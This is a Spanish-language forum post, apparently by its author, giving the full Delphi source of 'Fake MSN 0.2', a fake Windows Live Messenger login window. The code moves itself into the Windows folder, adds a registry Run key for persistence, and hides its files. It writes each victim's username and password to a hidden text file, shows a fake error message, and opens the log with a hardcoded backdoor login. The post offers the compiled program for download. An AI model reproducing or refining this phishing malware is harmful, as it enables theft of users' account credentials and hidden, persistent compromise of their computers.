Con las siguientes opciones :
- El programa al cargarse se mueve automaticamente a la carpeta de windows
- El programa se ejecuta cuando Windows se inicia
- Se ocultan los archivos relacionados al programa
- Con poner "doddy" en user y "hackman" en pass en el programa se cargan los logs ocultos
Una imagen
El codigo
Código
{ Fake MSN 0.2 Coded By Doddy H } unit fake; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, jpeg, ExtCtrls, StdCtrls, Registry; type TForm1 = class(TForm) Image1: TImage; Edit1: TEdit; Edit2: TEdit; Image2: TImage; procedure Edit1Click(Sender: TObject); procedure Edit2Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Image2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Edit1Click(Sender: TObject); begin Edit1.Text := ''; end; procedure TForm1.Edit2Click(Sender: TObject); begin Edit2.Text := ''; Edit2.PasswordChar := '*'; end; procedure TForm1.FormCreate(Sender: TObject); var nombrereal: string; rutareal: string; yalisto: string; her: TRegistry; begin nombrereal := ExtractFileName(ParamStr(0)); rutareal := ParamStr(0); yalisto := 'C:\WINDOWS\' + nombrereal; MoveFile(Pchar(rutareal), Pchar(yalisto)); her := TRegistry.Create; her.RootKey := HKEY_LOCAL_MACHINE; her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE); her.WriteString('uber', yalisto); her.Free; SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN); SetFileAttributes(PChar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN); end; procedure TForm1.Image2Click(Sender: TObject); var archivo: TextFile; ruta: string; begin if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then begin WinExec(PChar('notepad c:/windows/datos.txt'), SW_SHOW); end else begin if Edit1.Text = '' then begin ShowMessage('Escribe tu Id. de Window Live ID en este formato: tu nombre@ejemplo.com'); end; if Edit2.Text = '' then begin ShowMessage('Escribe tu contraseña'); end else begin if Edit2.Text = 'Escribe aqui tu contraseña' then begin ShowMessage('Escribe tu contraseña'); end else begin ruta := 'c:/windows/datos.txt'; //mod if FileExists(ruta) then begin AssignFile(archivo, ruta); FileMode := fmOpenWrite; Append(archivo); Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text); CloseFile(archivo); Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK); Form1.Close; end else begin AssignFile(archivo, ruta); FileMode := fmOpenWrite; ReWrite(archivo); Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text); CloseFile(archivo); Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK); Form1.Close; end; end; end; end; end; end. // The End ?
Si quieren bajar el proyecto + el programa compilado lo pueden hacer de aca.
Cualquier sugerencia o error diganlo para mejorar (porque el programa en si no me convence xDD).